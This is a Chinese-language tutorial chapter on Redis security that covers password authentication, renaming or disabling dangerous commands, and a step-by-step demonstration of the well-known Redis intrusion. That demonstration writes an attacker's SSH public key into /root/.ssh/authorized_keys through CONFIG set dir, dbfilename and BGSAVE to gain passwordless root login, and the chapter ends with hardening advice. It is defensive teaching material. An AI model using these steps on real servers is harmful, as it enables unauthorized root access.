跳到主要内容

第7章 Redis安全管理

1. 密码认证

Redis 支持密码认证功能,通过在配置文件中设置 requirepass 参数启用:

requirepass 123456

使用密码的两种方式:

交互式认证

[root@db-51 ~]# redis-cli
127.0.0.1:6379> set k1 v1
(error) NOAUTH Authentication required.
127.0.0.1:6379> AUTH 123456
OK
127.0.0.1:6379> keys *
1) "k1"

命令行认证

[root@db-51 ~]# redis-cli -a '123456' get k1
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"v1"

Redis 密码认证相对简单是因为:

  • Redis 通常部署在内网环境,相对安全
  • 开发人员不能 SSH 登录服务器,但可以远程连接 Redis,密码仍有必要

2. 危险命令管理

为了提高安全性,可以禁用或重命名危险命令。

禁用命令

rename-command KEYS ""
rename-command SHUTDOWN ""
rename-command CONFIG ""
rename-command FLUSHALL ""

重命名命令

rename-command KEYS "QQ526195417"
rename-command SHUTDOWN ""
rename-command CONFIG ""
rename-command FLUSHALL ""

3. Redis 远程入侵防范

入侵条件

攻击者利用 Redis 远程入侵需要满足:

  • Redis 以 root 用户运行
  • Redis 允许远程登录
  • Redis 没有设置密码或密码简单

入侵原理

利用 Redis 热更新配置功能,动态修改持久化路径和文件名,将攻击者的 SSH 公钥写入目标服务器的 authorized_keys 文件,实现免密登录。

攻击步骤演示

1)生成密钥:

[root@db02 ~/.ssh]# ssh-keygen

2)准备密钥文件:

[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k0bkYoSPTwbxP4a4paPLF50d+LRazqNq+P2RTnn7P9pG0kdSimpwDgcD32JjMJ7zxLFVbtsuOPfUHpnkvoI8967JC9kw/FH4CifZ+yyAneMxyqFstfKRPqUK0lwA/D5UuD4B4gv4WO6hu1bctHtI8qbIfSmHCgBrCG4qW+Xw1OWDimCLUwKUFW99RfVhzfmm9pTes+2twuf7wFK06LZVzcmfaXt43SFNLcVMMTn4RX0tzZyqVGYFtn94sOn root@db02

3)写入 Redis:

[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK

4)修改配置并保存:

[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys
OK
10.0.0.51:6379> BGSAVE
Background saving started

5)验证入侵:

[root@db01 ~]# cat .ssh/authorized_keys

6)免密登录:

[root@db02 ~]# ssh 10.0.0.51
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#

防范措施

🚨 生产环境安全建议

生产环境中必须采取以下安全措施:

  • 🔒 以普通用户运行 Redis,避免写入系统目录
  • 🔑 设置复杂密码,定期更换
  • 🌐 只监听内网地址,不要绑定 0.0.0.0
  • 🚫 禁用 CONFIG、FLUSHALL 等危险命令
  • 📊 做好监控告警和数据备份

更新: 2024-07-31 08:50:43